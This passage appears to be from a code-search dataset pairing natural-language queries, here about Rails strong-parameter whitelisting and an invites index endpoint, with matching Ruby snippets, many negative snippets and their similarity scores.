a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def document_params params.require(:document).permit(:description, :currency, :amount, :documents_date, :shipment_date, :shipment_from, :port_of_loading, :port_of_discharge, :final_destination, :incoterm, :goods, :remarks, :tenor, :consignee_name, :consignee_address1, :consignee_address2, :consignee_address3, :shipper_name, :shipper_address1, :shipper_address2, :shipper_address3, :documentary_credit_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def parameters\n nil\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7122858", "0.70540553", "0.69476545", "0.6902004", "0.6735809", "0.671776", "0.668886", "0.66776645", "0.66611695", "0.6555913", "0.6527077", "0.64584446", "0.64516115", "0.64500964", "0.64474493", "0.6435065", "0.6413185", "0.6413185", "0.6391701", "0.6380101", "0.6380101", "0.6375428", "0.63607097", "0.63550794", "0.62854564", "0.6279767", "0.6246839", "0.6227533", "0.62248623", "0.62241435", "0.62108195", "0.6207854", "0.61778766", "0.6171899", "0.61687297", "0.6159957", "0.6144725", "0.6136328", "0.6122536", "0.6108904", "0.60992044", "0.6075602", "0.6053279", "0.60402286", "0.60354996", "0.60304064", "0.60196084", "0.60180986", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.601802", "0.6016556", "0.60057056", "0.6004592", "0.60022795", "0.5997011", "0.5995432", "0.59948206", "0.59846616", "0.59845465", "0.5977865", "0.5975251", "0.59699106", "0.5967482", "0.5966506", "0.5966506", "0.595741", "0.59520626", "0.59505886", "0.594777", "0.59441733", "0.59313565", "0.5930838", "0.59271175", "0.592483", "0.59186137", "0.5917785", "0.5914208", "0.59137684", "0.590802", "0.5905818", "0.5904141", "0.59019583", "0.59004456", "0.5897177", "0.5896937", "0.5894958" ]
0.0
-1
GET /invites GET /invites.json
def index @invites = Invite.all respond_to do |format| format.html # index.html.erb format.json { render json: @invites } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end", "def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def show\n @invites = Invite.all\n end", "def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end", "def received_invitations\n user = User.find(params[:user_id])\n @invitations = user.invitations\n\n render json: @invitations\n end", "def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end", "def index\n @inviteds = Invited.all\n end", "def dogwalker_invited\n #@invitations = Invitation.invited_clients_email(params[:email]).select(:email)\n @invitations = Invitation.invitees(params[:email]).select(:email)\n logger.debug(\"@invitations.to_json = \" + @invitations.to_json)\n render json: {:invitations => @invitations }, :layout => false\n end", "def invitations\n\t\t@invits = current_user.receive_invites.order(\"id DESC\")\n\tend", "def invites(auth, server_id)\n MijDiscord::Core::API.request(\n :guilds_sid_invites,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/invites\",\n Authorization: auth\n )\n end", "def index\n @invitations = Invitation.all\n\n render json: @invitations, except: [:created_at, :updated_at], \n include: [:event => {include: [:host => {except: [:password_digest, :created_at, :updated_at]}]}]\n end", "def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invitations }\n end\n end", "def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end", "def index\n\t\t@guild_invites = @guild.invites.order(\"id DESC\")\n\tend", "def invitations\n res = []\n\n tmp = GoodData.get @json['project']['links']['invitations']\n tmp['invitations'].each do |invitation|\n res << GoodData::Invitation.new(invitation)\n end\n\n res\n end", "def invited_users\n render json: @moot.list_users_can_vote\n end", "def group_invites\n @invites = GroupsController.group_invites current_user\n end", "def index\n @invitations = Invitation.all\n respond_with(@invitations)\n end", "def index\n @title = 'Invitations'\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @invitations }\n end\n end", "def index\n @list_invites = ListInvite.all\n end", "def index\n @invites = Invite.find(:all, :conditions => \"to_user_id = #{current_user.id} or to_email = '#{current_user.email}'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invites }\n end\n end", "def invites\n user = current_user\n\n # Query to get only not yet accepted trips associated wiht the current user\n @trips = Trip.joins(:user_trips).where(user_trips: { accepted: false }).where(user_trips: { user_id: user.id })\n render json: @trips\n end", "def show\n @invite_list = InviteList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_list }\n end\n end", "def index\n @invitations = Invitation.all\n end", "def index\n @invitations = Invitation.all\n end", "def index\n @invitations = Invitation.all\n end", "def index\n @invitees = Invitee.all\n end", "def index\n @invitees = Invitee.all\n end", "def view_invitations\n @invitations = Invitation.all(:conditions => ['status = ?', 'pending'])\n end", "def index\n @invites = current_user.invites.where(is_declined: nil).all\n end", "def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end", "def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end", "def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end", "def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end", "def show\n user = User.find_by(id: params[:id]) #should use session id\n if user\n invitations = user.invitations\n if invitations\n render json: invitations, status: :ok\n else\n head :no_content\n end\n else\n render json: {error: \"User not found\"}, status: :not_found\n end\n end", "def sent_invitations\n user = User.find(params[:user_id])\n @invitations = Invitation.created_by_user(user)\n\n render json: @invitations\n end", "def index\n # @invitations = Invitation.all\n end", "def index\n @team_invites = TeamInvite.where(team: current_team)\n end", "def new_invites\n self.invites.all(:hide => false)\n end", "def index\n @invitations = @event.invitations.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end", "def index\n @invts = Invt.all\n end", "def index\n @invitations = Invitation.where(organization_id: current_user.organization_id).all\n end", "def get_mission_invites\n\t#get all missions of user with invitaion_status = pending\n user = User.exists? (params[:user_id])\n\tif user\n\t\tmissions = user.missions.references( :user_missions).select('missions.id, missions.title, user_missions.invitation_time').where( user_missions:{ invitation_status: PENDING_MESA_INVITATION})\n\t\trespond_to do |format|\n\t\t format.json {render :json=> {:mesa_invites=> missions, :status => true} }\n\t\tend\n else\n\t respond_to do |format|\n\t\t format.json {render :json=> {:error=>'No user exists with id' , :status => false} }\n\t end\n\tend\n end", "def invitestatuslist\n @inviteStatus = InviteStatus.find :all\n render :layout => 'plain'\n end", "def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end", "def index\n @invite_requests = InviteRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invite_requests }\n end\n end", "def get_user_invitations(filter: {}, includes: nil, limit: nil, sort: nil)\n params = users_request_client.build_params(filter: filter, includes: includes, limit: limit, sort: sort)\n users_request_client.get(\"userInvitations\", params)\n end", "def invite_detail\n service_response = AdminManagement::AdminUser::GetInviteDetail.new(params).perform\n render_api_response(service_response)\n end", "def index\n @user = User.find(params[:user_id]) \n @invitations = @user.invitations\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\nend", "def index\n @invitations = Invitation.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\n end", "def accepted_invites\n since = Time.zone.now - params[:days].to_i.days\n count = GroupInvitation.accepted\n .where('created_at > ?', since)\n .count\n respond_with json_response('accepted_invites', count)\n end", "def show\n @invite_status = InviteStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_status }\n end\n end", "def index\n # LE TEMPS DE ...\n if self.admin?\n @invites = Invite.all\n elsif self.check_user && self.check_no_guild\n @invites = Invite.where(:user_id => session[:user_id])\n elsif self.check_user && self.check_is_guild_owner\n @invites = Invite.where(:guild_id => @guild[:id])\n end\n end", "def index\n @invitations = Invitation.where(receiver_id: current_user.id)\n end", "def show\n @invite = @event.invites.find(params[:id])\n end", "def index\n @invites = current_user.recieved_team_requests\n @sent = current_user.sent_team_requests\n end", "def invitestatuslist\n @inviteStatus = InviteStatus.all\n render :layout => 'plain'\n end", "def index\n @team = Team.find_by_id(params[:team_id])\n @invite_requests = @team.invite_requests\n end", "def index\n @user_invitations = UserInvitation.all\n end", "def index\n @invoices = @user.invoices.all\n render json: @invoices, status: :ok\n end", "def index\n @invs = Inv.all\n end", "def index\n\t\t@events = Event.where(\"creator_id = ?\", current_user.id)\n\t\tInvitation.where(\"email = ? and accepted = ?\", current_user.email, true).each do |invitation|\n\t\t\t@events << invitation.event\n\t\tend\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def invite\n @data['invite']\n end", "def invite\n @obj['invite']\n end", "def show\n @invitee = Invitee.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to invitees_url }\n format.json { render json: @invitee }\n end\n end", "def index\n if params[:admin] == \"1\"\n @invites = Invite.all\n else\n render file: \"#{Rails.root}/public/403.html\", status: 403, layout: false\n end\n end", "def all_inviters(page = nil, per_page = nil)\n pipeline = [\n { '$project' =>\n { _id: 0,\n f_id: 1,\n invitable_id: 1,\n invitable_type: 1\n }\n },\n {\n '$match' => {\n 'invitable_id' => self.id,\n 'invitable_type' => self.class.name.split('::').last\n }\n }\n ]\n\n if page && per_page\n pipeline << { '$skip' => (page * per_page) }\n pipeline << { '$limit' => per_page }\n end\n\n pipeline << { '$project' => { f_id: 1 } }\n\n command = {\n aggregate: 'invits',\n pipeline: pipeline\n }\n\n if defined?(Mongoid)\n db = Mongoid.default_session\n elsif defined?(MongoMapper)\n db = MongoMapper.database\n end\n\n users_hash = db.command(command)['result']\n\n ids = users_hash.map {|e| e['f_id']}\n\n User.where(id: { '$in' => ids }).all.entries\n end", "def get_unissued_invites()\n User.find(session[:user_id]).unissued_invites\n end", "def get_public_dashboard_invitations(token, opts = {})\n data, _status_code, _headers = get_public_dashboard_invitations_with_http_info(token, opts)\n data\n end", "def index\n @invited_fiends = InvitedFiend.all\n end", "def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end", "def index\n @invstatuses = Invstatus.all\n end", "def index\n # TODO pull out api key before pushing to github & pull out binding prys\n res = HTTParty.get URL, 